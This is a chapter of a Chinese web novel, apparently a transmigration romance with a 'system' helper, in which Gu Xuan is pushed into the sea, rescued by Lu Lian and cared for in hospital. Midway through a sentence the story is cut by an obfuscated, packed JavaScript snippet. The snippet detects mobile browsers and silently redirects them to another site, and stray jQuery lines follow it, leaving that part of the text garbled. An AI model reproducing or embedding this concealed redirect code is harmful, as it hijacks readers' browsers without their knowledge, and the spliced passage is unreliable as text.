陆怜等不到他回去,应该会来找的,思及此,顾暄龇牙咧嘴的从兜里掏出手机,见屏幕亮起还能正常运转,又塞回兜里放好,他都录音了,可不能丢。
顾暄游动着痛到麻木的身体,不让自己离水面太远,免得救援的人找不到。
水面传来灯光,有人破水而入,他抬头看去,是陆怜——逆光而来,水光潋潋映照着他的脸,美的像童话里的人鱼,穿透黑暗来拯救他的爱人。
他忍着剧痛朝陆怜游去,抱住人的瞬间,心里涌上无限的委屈,像堵了一团棉花一样难受,虽然这个苦头是他自己找的......
他想说话,张嘴就是一串泡泡,只好无奈的闭上嘴,抱紧陆怜在他脖颈蹭了蹭。
陆怜安抚的捏了捏他后脖颈,想带他出水,却惊奇的发现,靠近顾暄可以自由呼吸,他和水中间似乎隔着一层膜,按捺下心里的诧异,他带着人朝水面游去,早有小艇靠了过来,邮轮上有人放下了绳梯。
陆怜在水中托着顾暄,小艇上的人配合着把顾暄接了上来,后者手臂用力一撑,长腿跨过艇沿,跃出水面翻进了小艇里。
小艇靠近邮轮,有人从上面扔了几件浴巾下来,“接着。”
陆怜抱起顾暄让他靠在自己怀里,把他的湿发捋到脑后,用浴巾擦拭着,声音发紧:“宝宝,你没事吧?”没人发现,他的手都是颤抖的。
系统收起了能量,顾暄感觉所有疼痛瞬间席卷而来,他面色苍白,唇开始发紫,胸很闷,喉头发痒,没忍住咳了几声,鲜血顺着嘴角溢出。
陆怜强装镇定的脸变得慌乱,抖着手擦去顾暄唇边的血,他小心翼翼的触摸着顾暄冰凉的脸颊,“宝宝,别怕,我带你去医院,很快就会好的。”
陆怜低着头,顾暄抬眼便看见一双通红的眼和冻得发白的脸,他握住陆怜冰冷颤抖的手,“我没事,你别担心,我说过的,永远都不会离开你的。”
一滴冰凉的泪落到顾暄的脸上,顾暄眨眨眼,心里一阵抽痛,突然后悔单独见叶苑,这个决定还是太草率了,应该提前跟陆怜商量,做好万全的准备再行动才是。
他抬起手,心疼的抚摸着陆怜的下颌,“对不起,我不应该瞒着你的,等回去了,我有一件重要的事要和你说,咳咳咳......”胸口一阵憋闷,顾暄又忍不住咳出声。
温热的血映入眼底,陆怜额角抽痛,眼球猩红,他拿起浴巾擦掉顾暄嘴角的血,声音低哑:“好,我知道了,你先别说话。”
“是叶苑推我下来的。”顾暄抓着他的手腕,强撑着说完最后一句,意识逐渐消失,陷入黑暗。
听到这个名字,陆怜身上的气压低的可怕,他握紧拳头,青筋鼓动,眼神低沉的扫了一眼邮轮上方,敢伤害他的人,就要做好付出代价的准备。
一阵冷风吹来,顾暄无意识地打了个寒颤,陆怜仔细地把浴巾在他身上盖好,不留一丝缝隙,又抬手轻抚他苍白的脸颊:“你啊,一刻没看到就让自己受伤,就应该把你时时刻刻都带在身边才是。”
天空传来一阵轰鸣声,几架直升机盘旋在游艇上方,陆贰身上绑着担架顺着绳梯跳到了小艇上,“大少爷,属下来晚了。”
“我先送小暄去医院,你留下处理这件事,在没有调查清楚之前,谁也不能离开。”陆怜抱起顾暄轻柔地放到担架上,把自己和顾暄用安全扣固定好,一起顺着绳索返回了直升机。
荣昌医院的天台上,医护人员已经严阵以待,直升机刚停稳,就接过人迅速去了手术室。
时钟指向了凌晨一点,陆怜一动不动的在手术室门口站了两个多小时,他的目光紧紧盯着显示手术中的红色指示灯,垂在身侧的拳头始终没松开过。
陆壹提着纸袋再次开口:“大少爷,先去把湿衣服换了吧,要是冻感冒了,暄少爷会心疼的。”
陆怜眼球颤动,脚尖微动,很快又站定在原地,“不行,一会小暄出来没看到我,会哭的。”
陆壹叹了口气,咽下了还想劝说的话。
陆怜目光直视着手术室,声音冷硬:“陆贰那边怎么样了?”
陆壹:“叶苑坚持说是暄少爷拿着水果刀想杀他,自己不小心掉到海里的,已经安排人下海打捞凶器了。”他顿了顿,又继续道:“孙家和符家的小少爷说看到了两人争执推搡,拍下了视频,只是画质模糊,看不出什么,已经连夜送去修复了。”
“跟着小暄的那两人,自己去领罚。”
“是。”
手术中的灯终于灭了,医护人员扶着车床推了出来,顾暄安静的躺着,戴着氧气面罩,双眼紧闭,眉头紧皱着。
陆怜握住他冰冷的手:“院长,情况怎么样?”
魏新民摘下口罩:“万幸没有伤到重要器官,肺部的出血已经止住,清理干净了血块,后期注意观察,没有出现感染就可以放心了。”
陆怜如释重负,呼吸都顺畅了许多,他郑重道:“多谢。”
“陆总不必客气,都是职责所在,赶紧送人回病房休息吧。”
特护病房里,还是之前陆怜住过的那间,顾暄已经被抱到了大床上。
穿着粉色工作服的小护士接好监护仪和氧气,交代完注意事项,轻声说道:“陆总,我就在护士站,今晚我值班,您要什么事,按床头铃就好。”
“我知道了,你出去吧。”
跟着进来的陆壹将纸袋放到沙发上,“老爷子和部长那边......”
“先瞒着吧,我会处理,不必让他们跟着操心了。”
陆壹转身打开直饮机给陆怜接了杯温水,“大少爷,这里我看着,暄少爷应该没那么快醒,您先去洗个澡,换身衣服吧。”
陆怜看着安睡的人,脸色红润了些,这才拿着衣物进了浴室。
水声响起,陆怜仰起脸闭着眼,任由水流落下冲刷着自己,今天差一点就永远失去了最爱的人,握紧的拳打在了浴室的墙上,指骨通红,薄唇抿成一条直线,他决不允许再出现今天这种情况。
陆怜换好衣服走出浴室,握住顾暄因为输液而冰冷的手,吩咐道:“去打盆热水来。”
陆壹端来热水放到了床头柜上,陆怜伸手试了下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053785|194221||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
水温,他拧干毛巾敷在顾暄手腕上,“这里没什么事了,你去盯着陆贰那边吧。”
天光大亮,顾暄睫毛颤动,“水......陆怜......”
一旁的陆怜抬起眼,仔细观察着顾暄的表情:“宝宝,你醒了?”
顾暄费劲的睁开眼,声音几不可闻:“我想喝水......”
“好。”陆怜摇高床头,接了杯温水放好吸管,递到顾暄嘴边。
顾暄没多大劲,吸一口歇一下,陆怜就安静的举着杯子,目光温柔的看着他。
一杯水快要见底,顾暄松开含着的吸管,“不要了,对了,我手机呢?”
“在这儿呢。”陆怜拿过床头放着的银色手机。
“快看看还是不是好的。”
陆怜打开手机,按亮屏幕:“荣昌这款手机防水防摔,轻易不会坏的。”
顾暄这才彻底松了口气,不然费这么大代价,要是不能惩治叶苑,他是真的会被气到吐血。“你找下录音文件,看昨天晚上十点左右的录音还在不在。”
陆怜闻言攥紧了手机:“你早就知道,他会对你下手?”
顾暄心虚地看了他一眼,陆怜脸色沉的能滴水,他底气不足小声道:“没有,我是真的没想到,他会下死手,我只是想知道他到底要干嘛......”
陆怜垂下眼,他是真的生气顾暄不把自己的安危当回事,又有些自暴自弃地想,或许,在顾暄的心里,他也没那么重要,是可以随时舍弃的,他不是早就知道的吗,没有人能永远陪着他。
顾暄见陆怜垂着眼不说话,神色莫名,不知在想什么,心中一紧,这是真的气狠了。
他挣扎着起身,拉过陆怜的手,“你过来点,让我好好看看你。”
陆怜站着没动,他想到顾暄身上的种种异常,艰难开口:“你也会离开的,对吗?”
顾暄心骤然提起,难道他早就猜到自己不是这里的人了?
顾暄低垂的脑袋验证了陆怜的猜想,他攥紧手心,眼眶通红:“为什么骗我,既然决定了要离开,就不要轻易许诺。”
那狭长的丹凤眼闪过一丝水光,顾暄急了,他掀开被子就要起来:“你瞎说什么?我不是!我没有!我什么时候说过要离开了?!”
“宿主,陆怜好像被你气哭了。”
“我看见了,还用你说。”顾暄在心里没好气道。
系统闭嘴了,宿主好像心情很不好,它默默打开能量罩,希望早点修复宿主身体,能让他心情好点。
胸口传来一阵闷痛,他无力地倒回床上,监护仪传来警报,随后,一股暖流涌入四肢百骸,沉重的身体都轻松了不少。
陆怜收敛好纷乱的情绪,皱着眉替他盖好被子,“躺好,别乱动。”
值班护士闻声赶来,确认无事后才退出病房。
顾暄委屈地咬着唇,再次撑起身,握紧陆怜垂在身侧的手,“你还记得我说过,有重要的事要跟你说吗?”
陆怜叹息一声,似是认命般的坐到床边,按住顾暄的身子,“你先躺好。”